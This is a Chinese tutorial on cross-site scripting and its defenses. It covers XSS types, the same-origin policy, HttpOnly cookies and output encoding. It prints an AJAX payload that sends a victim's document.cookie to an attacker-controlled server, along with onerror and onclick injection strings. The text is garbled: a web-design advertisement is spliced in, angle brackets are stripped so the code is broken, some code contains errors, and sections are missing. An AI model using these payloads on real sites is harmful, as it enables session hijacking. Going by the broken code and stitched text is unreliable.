很多網(wǎng)站都有私信或者留言板功能。登錄用戶可以發(fā)表評(píng)論或者給其他用戶(包括管理員)發(fā)送私信。一個(gè)最簡單的模擬表單如下:
成都創(chuàng)新互聯(lián)主要從事網(wǎng)站設(shè)計(jì)制作、做網(wǎng)站、網(wǎng)頁設(shè)計(jì)、企業(yè)做網(wǎng)站、公司建網(wǎng)站等業(yè)務(wù)。立足成都服務(wù)文峰,10年網(wǎng)站建設(shè)經(jīng)驗(yàn),價(jià)格優(yōu)惠、服務(wù)專業(yè),歡迎來電咨詢建站服務(wù):028-86922220
form action="sendmessage.php" method="post'"
textarea name="message" /textarea
input type="submit" value="send" /
/form
當(dāng)用戶點(diǎn)擊發(fā)送時(shí),這條消息會(huì)被保存在數(shù)據(jù)庫中指定的數(shù)據(jù)表中,另一個(gè)用戶當(dāng)打開這條消息的時(shí)候?qū)⒖吹桨l(fā)送的內(nèi)容。但是,如果一個(gè)惡意攻擊者發(fā)送的內(nèi)容包含了一些javascript代碼,這些代碼用于偷取敏感的cookie信息。當(dāng)用戶打開看到這條消息的時(shí)候,惡意的javascript代碼就會(huì)得到執(zhí)行,造成敏感cookie信息泄漏。攻擊者可以利用獲得這些cookie信息進(jìn)行session hijacking會(huì)話劫持,直接以合法用戶的身份登錄其他用戶的賬戶。
惡意攻擊者可以在消息框中加入一下javascript代碼:
?
var url = ""; //攻擊者控制的服務(wù)器
var postStr = "ck=" + document.cookie;
var ajax = null;
if(window.XMLHttpRequest())
{
ajax = new XMLHttpRequest();
}
else if(window.ActiveXObject)
{
ajax = new ActiveXObject("Microsoft.XMLHttp");
}
else
{
return;
}
ajax.open("POST", url, true);
ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
ajax.send(postStr);
ajax.onreadystatechange = function()
{
if(ajax.readyState == 4 ajax.status == 200)
{
//alert("Done!");
}
}
通過AJAX異步請(qǐng)求,將被攻擊者的敏感cookie信息發(fā)送給了攻擊者控制的服務(wù)器。攻擊者隨后即可利用這些cookie信息以”合法”用戶的身份進(jìn)行登錄操作。
這里首先要理清楚幾個(gè)重要的問題:
1. cookie的作用
Cookie,有時(shí)也用其復(fù)數(shù)形式Cookies,指某些網(wǎng)站為了辨別用戶身份、進(jìn)行session跟蹤而儲(chǔ)存在用戶本地終端上的數(shù)據(jù)(通常經(jīng)過加密)。定義于RFC2109(已廢棄),最新取代的規(guī)范是RFC2965。
也就是說,cookie是用戶和服務(wù)器之間的橋梁。服務(wù)器可以使用session來保存用戶的身份信息(ID,購物車等),但是需要用戶在訪問網(wǎng)頁(發(fā)送HTTP數(shù)據(jù)包)的時(shí)候附帶上相應(yīng)的cookie,通過cookie中的特定值來識(shí)別sessionID,才能把單獨(dú)用戶和單獨(dú)的session聯(lián)系起來。cookie是有狀態(tài)HTTP交互的一種重要機(jī)制。
2. 瀏覽器的同源策略
在進(jìn)行cookie竊取的時(shí)候,攻擊者偷取的cookie是什么,是全部cookie,還是當(dāng)前這個(gè)網(wǎng)站的cookie?要解決這個(gè)問題,我們要先了解一些瀏覽器的同源策略。
同源策略,它是由Netscape提出的一個(gè)著名的安全策略。
現(xiàn)在所有支持JavaScript 的瀏覽器都會(huì)使用這個(gè)策略。
所謂同源是指,域名,協(xié)議,端口相同。
當(dāng)一個(gè)瀏覽器的兩個(gè)tab頁中分別打開來 百度和谷歌的頁面
當(dāng)瀏覽器的百度tab頁執(zhí)行一個(gè)腳本的時(shí)候會(huì)檢查這個(gè)腳本是屬于哪個(gè)頁面的,
即檢查是否同源,只有和百度同源的腳本才會(huì)被執(zhí)行。
同源策略(Same Origin Policy)是一種約定,它是瀏覽器最核心也是最基本的安全功能,如果缺少了同源策略,則瀏覽器的正常功能可能都會(huì)受到影響??梢哉fweb是構(gòu)建在同源策略的基礎(chǔ)之上的,瀏覽器只是針對(duì)同源策略的一種實(shí)現(xiàn)。
瀏覽器的同源策略限制了來自不同源的”document”或腳本,對(duì)當(dāng)前”document”的讀取或者設(shè)置某些屬性。為了不讓瀏覽器的頁面行為發(fā)生混亂,瀏覽器提出了”O(jiān)rigin”(源)這以概念,來自不同的Origin的對(duì)象無法互相干擾。
因?yàn)橥床呗缘脑颍簿蛯?dǎo)致了我們的XSS Payload(XSS攻擊代碼)必須在我們希望攻擊的同一個(gè)域下觸發(fā)。例如攻擊者如果想竊取在下的cookie,那就必須在這個(gè)域(可以是不同頁面,但要保證是同一個(gè)域)下的的某一個(gè)頁面放置XSS代碼,可以是存儲(chǔ)型,也可以是反射型或DOM Baesd型的。
4. XSS攻擊的種類
對(duì)XSS的分類沒有明確的標(biāo)準(zhǔn),但業(yè)界普遍將XSS攻擊分為三類。反射型XSS(non-persistent XSS), 存儲(chǔ)型XSS(persistent XSS), DOM Based XSS
4.1 非持久性跨站點(diǎn)腳本攻擊
非持久性XSS也稱為反射型跨站漏洞。它是最常見的類型的XSS。漏洞產(chǎn)生的原因是攻擊者注入的數(shù)據(jù)反映在響應(yīng)中。如果你看了我們上面所示的例子,第一個(gè)例子是一個(gè)非持久的XSS攻擊。一個(gè)典型的非持久性XSS包含一個(gè)帶XSS攻擊向量的鏈接(即每次攻擊需要用戶的點(diǎn)擊)。
4.2 持久的跨站點(diǎn)腳本攻擊
持久型跨站點(diǎn)腳本也稱為存儲(chǔ)跨站點(diǎn)腳本。它一般發(fā)生在XSS攻擊向量(一般指XSS攻擊代碼)存儲(chǔ)在網(wǎng)站數(shù)據(jù)庫,當(dāng)一個(gè)頁面被用戶打開的時(shí)候執(zhí)行。每當(dāng)用戶打開瀏覽器,腳本執(zhí)行。在上面的示例中,第二個(gè)例子就展示了一個(gè)持久的XSS攻擊。持久的XSS相比非持久性XSS攻擊危害性更大,因?yàn)槊慨?dāng)用戶打開頁面,查看內(nèi)容時(shí)腳本將自動(dòng)執(zhí)行。谷歌的orkut曾經(jīng)就遭受到XSS。
4.3 基于dom的跨站點(diǎn)腳本攻擊
基于DOM的XSS有時(shí)也稱為type0 XSS。當(dāng)用戶能夠通過交互修改瀏覽器頁面中的DOM(Document Object Model)并顯示在瀏覽器上時(shí),就有可能產(chǎn)生這種漏洞,從效果上來說它也是反射型XSS。
通過修改頁面的DOM節(jié)點(diǎn)形成的XSS,稱之為DOM Based XSS。
?
1
2
3
4
5
6
7
8
9
10
script
function test()
{
var str = document.getElementById("text").value;
document.getElementById("t").innerHTML = "a href='" + str + "' testLink/a";
}
/script
div id="t"/div
input type="text" id="text" value="" /
input type="button" id="s" value="write" onclick="test()" /
在這個(gè)場(chǎng)景中,代碼修改了頁面的DOM節(jié)點(diǎn),通過innerHTML把一段用戶數(shù)據(jù)當(dāng)作HTML寫入到頁面中,這就造成了DOM Based XSS
' onclick=alert(/xss/) '
輸入后,頁面代碼就變成了:
a href='' onclick=alert(/xss/) '' testLink/a
點(diǎn)擊這個(gè)新生成的鏈接,腳本將被執(zhí)行。
實(shí)際上,這里還有另外一種利用方式—除了構(gòu)造一個(gè)新事件外,還可以選擇閉合掉a標(biāo)簽,并插入一個(gè)新的HTML標(biāo)簽:
'img src=# onerror=alert(/xss2/) /'
頁面代碼變成了:
a href=''img src=# onerror=alert(/xss2/) /'' testLink/a
5. XSS漏洞產(chǎn)生的原因
跨站點(diǎn)腳本的主要原因是程序猿對(duì)用戶的信任。開發(fā)人員輕松地認(rèn)為用戶永遠(yuǎn)不會(huì)試圖執(zhí)行什么出格的事情,所以他們創(chuàng)建應(yīng)用程序,卻沒有使用任何額外的代碼來過濾用戶輸入以阻止任何惡意活動(dòng)。另一個(gè)原因是,這種攻擊有許多變體,用制造出一種行之有效的XSS過濾器是一件比較困難的事情。
但是這只是相對(duì)的,對(duì)用戶輸入數(shù)據(jù)的”編碼”和”過濾”在任何時(shí)候都是很重要的,我們必須采取一些針對(duì)性的手段對(duì)其進(jìn)行防御。
1、基于特征的防御。XSS漏洞和著名的SQL注入漏洞一樣,都是利用了Web頁面的編寫不完善,所以每一個(gè)漏洞所利用和針對(duì)的弱點(diǎn)都不盡相同,這就是給XSS漏洞防御帶來的困難,不可能以單一特征來概括所有XSS攻擊。
傳統(tǒng)的XSS防御在進(jìn)行攻擊鑒別時(shí)多采用特征匹配方式,主要是針對(duì)JavaScript這個(gè)關(guān)鍵詞進(jìn)行檢索,但是這種鑒別不夠靈活,凡是提交的信息中各有JavaScript時(shí),就被硬性的判定為XSS攻擊。
2、基于代碼修改的防御。Web頁面開發(fā)者在編寫程序時(shí)往往會(huì)出現(xiàn)一些失誤或漏洞,XSS攻擊正是利用了失誤和漏洞,因此一種比較理想的方法就是通過優(yōu)化Web應(yīng)用開發(fā)來減少漏洞,避免被攻擊:
①用戶向服務(wù)器上提交的信息要對(duì)URL和附帶的HTTP頭、POST數(shù)據(jù)等進(jìn)行查詢,對(duì)不是規(guī)定格式、長度的內(nèi)容進(jìn)行過濾。
②實(shí)現(xiàn)Session標(biāo)記、CAPTCHA系統(tǒng)或者HTTP引用頭檢查,以防功能被第三方網(wǎng)站所執(zhí)行。
③確認(rèn)接收的內(nèi)容被妥善的規(guī)范化,僅包含最小的、安全的Tag,去掉任何對(duì)遠(yuǎn)程內(nèi)容的引用,使用HTTP only的cookie。
3、客戶端分層防御策略??蛻舳丝缯灸_本攻擊的分層防御策略是基于獨(dú)立分配線程和分層防御策略的安全模型。它建立在客戶端,這是它與其他模型最大的區(qū)別。之所以客戶端安全性如此重要,客戶端在接受服務(wù)器信息,選擇性的執(zhí)行相關(guān)內(nèi)容。這樣就可以使防御XSS攻擊變得容易,該模型主要由三大部分組成:
①對(duì)每一個(gè)網(wǎng)頁分配獨(dú)立線程且分析資源消耗的網(wǎng)頁線程分析模塊;
②包含分層防御策略四個(gè)規(guī)則的用戶輸入分析模塊;
③保存互聯(lián)網(wǎng)上有關(guān)XSS惡意網(wǎng)站信息的XSS信息數(shù)據(jù)庫。
可以,絕對(duì)可以。
但是這有點(diǎn)因噎廢食。人吃東西也會(huì)被噎死,但是總不能因此就不吃飯了是吧。
XSS攻擊通常是指黑客通過"HTML注入"篡改了網(wǎng)頁,插入了惡意的腳本,從而在用戶瀏覽網(wǎng)頁時(shí),控制用戶瀏覽器的一種攻擊。
一、HttpOnly防止劫取Cookie
HttpOnly最早由微軟提出,至今已經(jīng)成為一個(gè)標(biāo)準(zhǔn)。瀏覽器將禁止頁面的Javascript訪問帶有HttpOnly屬性的Cookie。目前主流瀏覽器都支持,HttpOnly解決是XSS后的Cookie支持攻擊。
我們來看下百度有沒有使用。
未登錄時(shí)的Cookie信息
可以看到,所有Cookie都沒有設(shè)置HttpOnly,現(xiàn)在我登錄下
發(fā)現(xiàn)在個(gè)叫BDUSS的Cookie設(shè)置了HttpOnly??梢圆聹y(cè)此Cookie用于認(rèn)證。
下面我用PHP來實(shí)現(xiàn)下:
?php
header("Set-Cookie: cookie1=test1;");
header("Set-Cookie: cookie2=test2;httponly",false);
setcookie('cookie3','test3',NULL,NULL,NULL,NULL,false);
setcookie('cookie4','test4',NULL,NULL,NULL,NULL,true);
?
script
alert(document.cookie);
/script
js只能讀到?jīng)]有HttpOnly標(biāo)識(shí)的Cookie
二、輸入檢查
輸入檢查一般是檢查用戶輸入的數(shù)據(jù)中是否包含一些特殊字符,如、、'、"等,如果發(fā)現(xiàn)存在特殊字符,則將這些字符過濾或者編碼。
例如網(wǎng)站注冊(cè)經(jīng)常用戶名只允許字母和數(shù)字的組合,或者郵箱電話,我們會(huì)在前端用js進(jìn)行檢查,但在服務(wù)器端代碼必須再次檢查一次,因?yàn)榭蛻舳说臋z查很容易繞過。
網(wǎng)上有許多開源的“XSS Filter”的實(shí)現(xiàn),但是它們應(yīng)該選擇性的使用,因?yàn)樗鼈儗?duì)特殊字符的過濾可能并非數(shù)據(jù)的本意。比如一款php的lib_filter類:
$filter = new lib_filter();
echo $filter-go('1+11');
它輸出的是1,這大大歪曲了數(shù)據(jù)的語義,因此什么情況應(yīng)該對(duì)哪些字符進(jìn)行過濾應(yīng)該適情況而定。
三、輸出檢查
大多人都知道輸入需要做檢查,但卻忽略了輸出檢查。
1、在HTML標(biāo)簽中輸出
如代碼:
?php
$a = "scriptalert(1);/script";
$b = "img src=# onerror=alert(2) /";
?
div?=$b?/div
a href="#"?=$a?/a
這樣客戶端受到xss攻擊,解決方法就是對(duì)變量使用htmlEncode,php中的函數(shù)是htmlentities
?php
$a = "scriptalert(1);/script";
$b = "img src=# onerror=alert(2) /";
?
div?=htmlentities($b)?/div
a href="#"?=htmlentities($a)?/a
2、在HTML屬性中輸出
div id="div" name ="$var"/div
這種情況防御也是使用htmlEncode
在owasp-php中實(shí)現(xiàn):
$immune_htmlattr = array(',', '.', '-', '_');
$this-htmlEntityCodec-encode($this-immune_htmlattr, "\"script123123;/script\"");
3、在script標(biāo)簽中輸出
如代碼:
?php
$c = "1;alert(3)";
?
script type="text/javascript"
var c = ?=$c?;
/script
這樣xss又生效了。首先js變量輸出一定要在引號(hào)內(nèi),但是如果我$c = "\"abc;alert(123);//",你會(huì)發(fā)現(xiàn)放引號(hào)中都沒用,自帶的函數(shù)都不能很好的滿足。這時(shí)只能使用一個(gè)更加嚴(yán)格的JavascriptEncode函數(shù)來保證安全——除數(shù)字、字母外的所有字符,都使用十六進(jìn)制"\xHH"的方式進(jìn)行編碼。這里我采用開源的owasp-php方法來實(shí)現(xiàn)
$immune = array("");
echo $this-javascriptCodec-encode($immune, "\"abc;alert(123);//");
最后輸出\x22abc\x3Balert\x28123\x29\x3B\x2F\x2F
4、在事件中輸出
a href="#" onclick="funcA('$var')" test/a
可能攻擊方法
a href="#" onclick="funcA('');alter(/xss/;//')"test/a
這個(gè)其實(shí)就是寫在script中,所以跟3防御相同
5、在css中輸出
在owasp-php中實(shí)現(xiàn):
$immune = array("");
$this-cssCodec-encode($immune, 'background:expression(window.x?0:(alert(/XSS/),window.x=1));');
6、在地址中輸出
先確保變量是否是"http"開頭,然后再使用js的encodeURI或encodeURIComponent方法。
在owasp-php中實(shí)現(xiàn):
$instance = ESAPI::getEncoder();
$instance-encodeForURL(‘url’);
四、處理富文體
就像我寫這篇博客,我?guī)缀蹩梢噪S意輸入任意字符,插入圖片,插入代碼,還可以設(shè)置樣式。這個(gè)時(shí)要做的就是設(shè)置好白名單,嚴(yán)格控制標(biāo)簽。能自定義 css件麻煩事,因此最好使用成熟的開源框架來檢查。php可以使用htmlpurify
五、防御DOM Based XSS
DOM Based XSS是從javascript中輸出數(shù)據(jù)到HTML頁面里。
script
var x = "$var";
document.write("a href='"+x+"'test/a");
/script
按照三中輸出檢查用到的防御方法,在x賦值時(shí)進(jìn)行編碼,但是當(dāng)document.write輸出數(shù)據(jù)到HTML時(shí),瀏覽器重新渲染了頁面,會(huì)將x進(jìn)行解碼,因此這么一來,相當(dāng)于沒有編碼,而產(chǎn)生xss。
防御方法:首先,還是應(yīng)該做輸出防御編碼的,但后面如果是輸出到事件或腳本,則要再做一次javascriptEncode編碼,如果是輸出到HTML內(nèi)容或?qū)傩裕瑒t要做一次HTMLEncode。
會(huì)觸發(fā)DOM Based XSS的地方有很多:
document.write()、document.writeln()、xxx.innerHTML=、xxx.outerHTML=、innerHTML.replace、document.attachEvent()、window.attachEvent()、document.location.replace()、document.location.assign()